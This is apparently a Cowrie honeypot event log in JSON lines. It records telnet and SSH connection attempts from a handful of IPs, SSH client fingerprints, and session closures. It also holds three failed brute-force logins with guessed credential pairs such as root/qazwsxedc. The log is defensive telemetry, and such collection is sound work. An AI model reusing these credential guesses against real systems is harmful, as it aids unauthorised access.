{"eventid":"cowrie.session.closed","duration":30.63726782798767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:44.054966Z","src_ip":"213.129.84.225","session":"22766a83f350","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.898993968963623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:44.309683Z","src_ip":"213.129.84.225","session":"2423be540a37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909313440322876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:45.062900Z","src_ip":"213.129.84.225","session":"dcd88d35f119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53090,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8ea26381b03","protocol":"telnet","message":"New connection: 213.129.84.225:53090 (159.203.135.109:23) [session: c8ea26381b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:47.782710Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35714,"dst_ip":"159.203.135.109","dst_port":23,"session":"fce747ea51a1","protocol":"telnet","message":"New connection: 213.129.84.225:35714 (159.203.135.109:23) [session: fce747ea51a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:48.264855Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43142,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e83d843cbaf","protocol":"telnet","message":"New connection: 213.129.84.225:43142 (159.203.135.109:23) [session: 9e83d843cbaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:48.906224Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45500,"dst_ip":"159.203.135.109","dst_port":23,"session":"da2fd94fed4c","protocol":"telnet","message":"New connection: 213.129.84.225:45500 (159.203.135.109:23) [session: da2fd94fed4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:49.397459Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46844,"dst_ip":"159.203.135.109","dst_port":23,"session":"4643acbd3b97","protocol":"telnet","message":"New connection: 213.129.84.225:46844 (159.203.135.109:23) [session: 4643acbd3b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:49.739055Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39774,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d09a1bd1ea7","protocol":"telnet","message":"New connection: 137.184.155.248:39774 (10.17.0.5:23) [session: 7d09a1bd1ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:50.480412Z"}
{"eventid":"cowrie.session.closed","duration":46.140265703201294,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:50.914774Z","src_ip":"137.184.155.248","session":"f455cc06f155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841082334518433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:51.126257Z","src_ip":"213.129.84.225","session":"a2357e4018a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48586,"dst_ip":"159.203.135.109","dst_port":23,"session":"226e82ae49e8","protocol":"telnet","message":"New connection: 213.129.84.225:48586 (159.203.135.109:23) [session: 226e82ae49e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:51.227621Z"}
{"eventid":"cowrie.session.closed","duration":30.25996994972229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:52.085946Z","src_ip":"213.129.84.225","session":"fe8cbf155e1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":47748,"dst_ip":"159.203.135.109","dst_port":22,"session":"b89e75dd196a","protocol":"ssh","message":"New connection: 202.125.94.71:47748 (159.203.135.109:22) [session: b89e75dd196a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:52.949464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:52.955859Z","src_ip":"202.125.94.71","session":"b89e75dd196a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:53.218892Z","src_ip":"202.125.94.71","session":"b89e75dd196a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36986,"dst_ip":"159.203.135.109","dst_port":23,"session":"a585aaab6000","protocol":"telnet","message":"New connection: 213.129.84.225:36986 (159.203.135.109:23) [session: a585aaab6000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:53.608611Z"}
{"eventid":"cowrie.session.closed","duration":45.15673208236694,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:54.295635Z","src_ip":"137.184.155.248","session":"04a60d66e933","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:54.301173Z","src_ip":"202.125.94.71","session":"b89e75dd196a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60650,"dst_ip":"10.17.0.5","dst_port":23,"session":"eef24deafdff","protocol":"telnet","message":"New connection: 137.184.155.248:60650 (10.17.0.5:23) [session: eef24deafdff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:54.361481Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:55.565332Z","src_ip":"202.125.94.71","session":"b89e75dd196a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.25.179","src_port":37902,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cd47efc6e13","protocol":"telnet","message":"New connection: 128.199.25.179:37902 (159.203.135.109:23) [session: 9cd47efc6e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:58.622874Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37622,"dst_ip":"159.203.135.109","dst_port":23,"session":"da142101ba46","protocol":"telnet","message":"New connection: 213.129.84.225:37622 (159.203.135.109:23) [session: da142101ba46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:00.049788Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36766,"dst_ip":"159.203.135.109","dst_port":23,"session":"b12008ad9bf8","protocol":"telnet","message":"New connection: 213.129.84.225:36766 (159.203.135.109:23) [session: b12008ad9bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:00.840958Z"}
{"eventid":"cowrie.session.closed","duration":31.053380727767944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:01.118200Z","src_ip":"213.129.84.225","session":"542b252046b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.253896474838257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:01.462594Z","src_ip":"213.129.84.225","session":"175aa295b56a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47098,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffaa69851830","protocol":"telnet","message":"New connection: 213.129.84.225:47098 (159.203.135.109:23) [session: ffaa69851830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:02.152135Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46396,"dst_ip":"159.203.135.109","dst_port":23,"session":"32eafd5769dc","protocol":"telnet","message":"New connection: 213.129.84.225:46396 (159.203.135.109:23) [session: 32eafd5769dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:02.982764Z"}
{"eventid":"cowrie.session.closed","duration":30.302560567855835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:04.071096Z","src_ip":"213.129.84.225","session":"b36eefe38ec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":42492,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4138ea3f664","protocol":"ssh","message":"New connection: 203.90.110.186:42492 (10.17.0.5:22) [session: f4138ea3f664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:05.529994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:05.536605Z","src_ip":"203.90.110.186","session":"f4138ea3f664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:05.759625Z","src_ip":"203.90.110.186","session":"f4138ea3f664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.490593194961548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:06.053682Z","src_ip":"213.129.84.225","session":"cff6c45f671b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"pass","message":"login attempt [newuser/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:06.677096Z","src_ip":"203.90.110.186","session":"f4138ea3f664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:07.898855Z","src_ip":"203.90.110.186","session":"f4138ea3f664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.775859594345093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:08.062535Z","src_ip":"213.129.84.225","session":"a6cfd2ba4963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37996,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed978e3815c4","protocol":"telnet","message":"New connection: 137.184.155.248:37996 (10.17.0.5:23) [session: ed978e3815c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:08.273182Z"}
{"eventid":"cowrie.session.closed","duration":31.466634273529053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:08.439390Z","src_ip":"213.129.84.225","session":"836355182519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679354190826416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:09.042090Z","src_ip":"213.129.84.225","session":"5a9459d7c304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":43960,"dst_ip":"10.17.0.5","dst_port":22,"session":"06f074ec426b","protocol":"ssh","message":"New connection: 190.244.39.232:43960 (10.17.0.5:22) [session: 06f074ec426b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:09.943135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:09.950903Z","src_ip":"190.244.39.232","session":"06f074ec426b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:10.150569Z","src_ip":"190.244.39.232","session":"06f074ec426b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":57698,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ccd5b4ec1d5","protocol":"telnet","message":"New connection: 213.129.84.225:57698 (159.203.135.109:23) [session: 0ccd5b4ec1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:10.565068Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":57696,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ad63e155464","protocol":"telnet","message":"New connection: 213.129.84.225:57696 (159.203.135.109:23) [session: 0ad63e155464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:10.569221Z"}
{"eventid":"cowrie.login.failed","username":"server","password":"password1","message":"login attempt [server/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:10.939175Z","src_ip":"190.244.39.232","session":"06f074ec426b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59838,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f25462dc370","protocol":"telnet","message":"New connection: 213.129.84.225:59838 (159.203.135.109:23) [session: 6f25462dc370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:12.082974Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:12.139309Z","src_ip":"190.244.39.232","session":"06f074ec426b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37476,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c6981a44c00","protocol":"telnet","message":"New connection: 213.129.84.225:37476 (159.203.135.109:23) [session: 2c6981a44c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:12.388215Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43574,"dst_ip":"159.203.135.109","dst_port":23,"session":"edb5e162335e","protocol":"telnet","message":"New connection: 213.129.84.225:43574 (159.203.135.109:23) [session: edb5e162335e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:13.689099Z"}
{"eventid":"cowrie.session.closed","duration":30.87440323829651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:14.147611Z","src_ip":"213.129.84.225","session":"abc928e8b14b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.671345472335815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:14.770129Z","src_ip":"213.129.84.225","session":"adbb26616515","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55776,"dst_ip":"10.17.0.5","dst_port":23,"session":"f404f03ab3cd","protocol":"telnet","message":"New connection: 137.184.155.248:55776 (10.17.0.5:23) [session: f404f03ab3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:15.188254Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51264,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc969d82f354","protocol":"telnet","message":"New connection: 213.129.84.225:51264 (159.203.135.109:23) [session: fc969d82f354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:15.440529Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33370,"dst_ip":"159.203.135.109","dst_port":23,"session":"f54b76e658ae","protocol":"telnet","message":"New connection: 213.129.84.225:33370 (159.203.135.109:23) [session: f54b76e658ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:17.660317Z"}
{"eventid":"cowrie.session.closed","duration":46.23703742027283,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:18.406788Z","src_ip":"137.184.155.248","session":"6b3db511572d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87228012084961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:18.654827Z","src_ip":"213.129.84.225","session":"c8ea26381b03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40074,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eeb20a48209","protocol":"telnet","message":"New connection: 213.129.84.225:40074 (159.203.135.109:23) [session: 1eeb20a48209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:19.033027Z"}
{"eventid":"cowrie.session.closed","duration":30.21589946746826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:19.122008Z","src_ip":"213.129.84.225","session":"9e83d843cbaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55780,"dst_ip":"10.17.0.5","dst_port":23,"session":"62dcd5235a7b","protocol":"telnet","message":"New connection: 137.184.155.248:55780 (10.17.0.5:23) [session: 62dcd5235a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:19.209977Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41256,"dst_ip":"159.203.135.109","dst_port":23,"session":"82c32f6ab230","protocol":"telnet","message":"New connection: 213.129.84.225:41256 (159.203.135.109:23) [session: 82c32f6ab230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:19.320235Z"}
{"eventid":"cowrie.session.closed","duration":31.072290182113647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:19.337030Z","src_ip":"213.129.84.225","session":"fce747ea51a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.429462909698486,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:19.617595Z","src_ip":"137.184.155.248","session":"f404f03ab3cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.326412677764893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:20.065299Z","src_ip":"213.129.84.225","session":"4643acbd3b97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672419548034668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:20.069771Z","src_ip":"213.129.84.225","session":"da2fd94fed4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.935439586639404,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:20.817950Z","src_ip":"137.184.155.248","session":"3bef96426be8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55486,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a5f0eb406b0","protocol":"telnet","message":"New connection: 213.129.84.225:55486 (159.203.135.109:23) [session: 8a5f0eb406b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:22.193329Z"}
{"eventid":"cowrie.session.closed","duration":31.612857580184937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:22.840360Z","src_ip":"213.129.84.225","session":"226e82ae49e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39370,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a0bcf25fbc5","protocol":"telnet","message":"New connection: 213.129.84.225:39370 (159.203.135.109:23) [session: 7a0bcf25fbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:24.785509Z"}
